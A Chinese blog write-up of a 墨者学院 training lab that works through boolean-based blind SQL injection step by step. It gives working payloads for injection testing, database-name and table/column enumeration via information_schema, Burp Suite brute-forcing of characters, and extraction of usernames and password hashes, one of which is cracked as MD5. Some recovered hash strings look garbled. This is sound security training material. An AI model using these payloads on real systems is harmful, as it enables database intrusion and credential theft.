墨者学院sql第三题布尔盲注

墨者学院sql第三题布尔盲注

第一步:寻找注入点

使用and 1=1#,and 1=2#发现页面受后面语句控制所以存在注入点

第二步:寻找响应段

使用order by 4

发现是一个4段式的

使用http://182.44.114.36:49495/new_list.php?id=-1 select 1,2,3,4 --+发现页面没有回显所以大概率是布尔盲注(布尔盲注就是没有回显但是页面会告诉你正确还是不正确意思就是正常或不正常所以只能使用爆破来获得想要的内容)

第三步:爆破数据库长度

使用http://182.44.114.36:49495/new_list.php?id=1 and length(database())=10--+

解释:由于我们只能从页面是否正常来判断我们的信息是否有效所以就不需要将参数前面加负号,这里length()代表的是返回括号内内容的长度也就是一个字符一个长度汉字占两个,database()意思就是返回当前数据库名,所以我们要对后面这个10这个位置改变它的值来使页面正常

第思步:爆破数据库的名字

使用burpsuite来爆破这条语句http://182.44.114.36:49495/new_list.php?id=1 and ascii(substr(database(),1,1))=111--+

先解释一下:ascii()意思是返回口号内的字符的ascii编码(每个字符都有自己的ascii码),substr(a,b,c)意思是从a中第b位开始截取长度为c的字符串。

像这样添加两个payloud然后选择集束炸弹

第一个payloud我们选择数值从1到10因为数据库有10个字符,

第二个就选择自己的字母ascii编码文件就行

最后就可以得到数据库名的ascii码然后将他转换为字母就是stormgroup

验证and database()="stormgroup"双引号要加

第五步:爆破表长度和名字

使用http://182.44.114.36:49495/new_list.php?id=1 and length((select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1))=6--+

解释一下:已知数据库名为stormgroup所以爆破长度使用length()里面用括号select语句本身要带一个括号然后table_name是表名也就是查询它,infromation_schema.tables就是包含所有表名的表,tabel_schema就是数据库名='stormgroup' 最后用limit x,a因为查询出来可能不止一个表所以用limit 来分离记录,这里要不断去尝试将数字6这一块从1到无限大最后界面是正常的就属于它的长度。我们发现当limit 为1,1时也存在一个表所以这里有两个表

爆破表名:http://182.44.114.36:49495/new_list.php?id=1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='stormgroup' ),1,1))=111--+

解释一下:我们已经知道两个表的长度了所以可以直接用group_concat()将两个表名连接起来但是会加上一个,所以爆破的时候要注意一下然后payloud加在substr的从第几位开始的1上第二个payloud 加在111这里然后分别从1到13和从0到127就可以得到两个表名:member,notice

第六步:爆破字段名和长度

其实当你熟练以后就可以不用爆破长度了直接爆破字符就行

http://182.44.114.36:49495/new_list.php?id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='member' ),1,1))=111--+

解释一下:ascii()是将括号内的字符转为ascii码,column_name是字段名,information_schema.columns代表的是包含所有字段名的表,这句话的意思就是查询出所以在member这个表下的字段并判断它的字符ascii码是不是跟后面的一样如果一样就显示正常

就可以得到,name,password,status

第七步:爆破字段值

这里我们需要的是name,和password这两个字段所以就分别爆破这两个

http://182.44.114.36:49495/new_list.php?id=1 and ascii(substr((select group_concat(name) from member),1,1))=111--+

在name下有两个mozhe其中的44为连接符、(顿号)

在password下有两个第一个背禁用了第二个才是真的 3a35cd0451ed76d79603c8c4c0c560c5608a 最后解码md5格式所以为199545

mozhe3c8433bb6d0cdfbfc5f486e30ed

最后提一嘴在bp攻击的结果中先保存,然后用excel打开在排序就不用肉眼一个一个看了

爆破字段值最好用ASCII去爆破,范围是0-127

posted @ 2026-10-27 12:44  均木  阅读(4)  评论(0)    收藏  举报